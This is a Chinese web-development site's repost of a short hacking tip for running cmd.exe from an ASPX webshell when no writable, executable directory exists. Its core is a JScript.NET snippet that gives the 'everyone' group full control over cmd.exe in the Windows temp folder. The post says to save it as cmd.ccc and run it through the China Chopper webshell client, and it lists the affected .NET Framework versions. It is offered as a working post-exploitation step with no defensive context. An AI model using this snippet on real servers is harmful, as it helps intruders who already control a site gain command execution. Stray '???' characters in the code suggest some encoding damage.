分享web开发知识

注册/登录|最近发布|今日推荐

主页 IT知识网页技术软件开发前端开发代码编程运营维护技术分享教程案例
当前位置:首页 > 教程案例

aspxshell下突破无可写可执行目录执行cmd

发布时间:2023-09-06 01:10责任编辑:蔡小小关键词:shell
try{var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser, ???System.Security.AccessControl.FileSystemRights.FullControl, ???System.Security.AccessControl.AccessControlType.Allow));dirinfo.SetAccessControl(dirsecurity);Response.Write(strPath+"\t权限添加成功!");}catch(x){Response.Write(x.Message);}

保存为cmd.ccc,使用菜刀自写脚本运行即可突破

受影响的版本为:

Microsoft .NET Framework 2.0 

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4

Microsoft .NET Framework 4.5

Microsoft .NET Framework 4.5.1

利用条件:

1.需要支持aspx并且高于Microsoft .NET Framework 1.14版本

2.安全模式除外(现在还没有能突破.net安全模式的方法)

漏洞说明:该漏洞可直接赋予文件权限(让没权限的文件执行)

文章转载自:http://www.xlgps.com/article/39438.html

aspxshell下突破无可写可执行目录执行cmd

原文地址:http://www.cnblogs.com/penguinCold/p/7506167.html

知识推荐

我的编程学习网——分享web前端后端开发技术知识。 垃圾信息处理邮箱 tousu563@163.com 网站地图
icp备案号 闽ICP备2023006418号-8 不良信息举报平台 互联网安全管理备案 Copyright 2023 www.wodecom.cn All Rights Reserved